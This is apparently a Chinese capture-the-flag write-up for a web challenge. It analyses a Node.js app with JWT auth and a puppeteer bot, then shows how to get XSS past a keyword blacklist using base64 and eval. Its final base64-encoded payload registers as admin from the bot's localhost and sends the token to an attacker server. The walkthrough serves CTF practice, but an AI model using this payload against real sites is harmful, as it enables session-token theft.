题目链接
源码分析
register 会用post过去的username,flag和secret生成token 并直接回显
如果发起请求的ip是本地的话 flag为真 否则是假的
1 2 3 4 5 6 7 8 9
| app.post("/user/register", (req, res) => { const username = req.body.username let flag = "hgame{fake_flag_here}" if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") { flag = "hgame{true_flag_here}" } const token = jwt.sign({ username, flag }, secret) res.json({ token }) })
|
其他路由都要求经过auth函数,明显需要在包头中添加authorization: token
否则跳转至根目录
1 2 3 4 5 6 7 8 9 10 11 12 13
| function auth(req, res, next) { const token = req.headers["authorization"] if (!token) { return res.redirect("/") } try { const decoded = jwt.verify(token, secret) || {} req.user = decoded } catch { return res.status(500).json({ msg: "jwt decode error" }) } next() }
|
/user/info 可以直接查看flag
两步:1. 获取token 2.传token看flag
尝试了x-forwarded-for
等很多伪造ip方式,都不行 这里的req.ip应该是不可伪造的
1 2 3
| app.get("/user/info", auth, (req, res) => { res.json({ username: req.user.username, flag: req.user.flag }) })
|
/button/share 中为关键逻辑
它会访问/button/preview 并且参数可控 那么也就相当于本地访问 正好满足我们的要求 localStorage
中的token
存放生成后的token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| app.post("/button/share", auth, async (req, res) => { const browser = await puppeteer.launch({ headless: true, executablePath: "/usr/bin/chromium", args: ['--no-sandbox'] }); const page = await browser.newPage() const query = querystring.encode(req.body) await page.goto('http://127.0.0.1:9090/button/preview?' + query) await page.evaluate(() => { return localStorage.setItem("token", "jwt_token_here") }) await page.click("#button")
res.json({ msg: "admin will see it later" }) })
|
访问preview路由 明显存在XSS漏洞 但是过滤了alert 我们可以通过base64绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| app.get("/button/preview", (req, res) => { const blacklist = [ /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/ ] for (const key in req.query) { for (const item of blacklist) { if (item.test(key.trim()) || item.test(req.query[key].trim())) { req.query[key] = "" } } } res.render("preview", { data: req.query }) })
|
1 2
| /button/preview?123"><script>eval(atob('YWxlcnQoMik%3D'))</script> // alert(2)
|
攻击思路
- 通过share路由 构造好payload 服务器则会跳转至preview利用XSS执行我们的代码
- 代码中先跳转至register获得服务器本地token然后外带至我们的vps
- 得到token后对应访问/usr/info即可获取flag
1 2 3 4 5 6 7 8 9
| ''' POST /button/share
Authorization: [some_token_here]
{"border-radius":"0px\"><script>eval(atob('JC5wb3N0KCIvdXNlci9yZWdpc3RlciIseyJ1c2VybmFtZSI6ImFkbWluIn0sZnVuY3Rpb24ocmVzdWx0KXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovLzQ3Lnh4Lnh4Lnh4Ojk5OTk/Yz0nK0pTT04uc3RyaW5naWZ5KHJlc3VsdCl9KTs='))</script>"} '''
|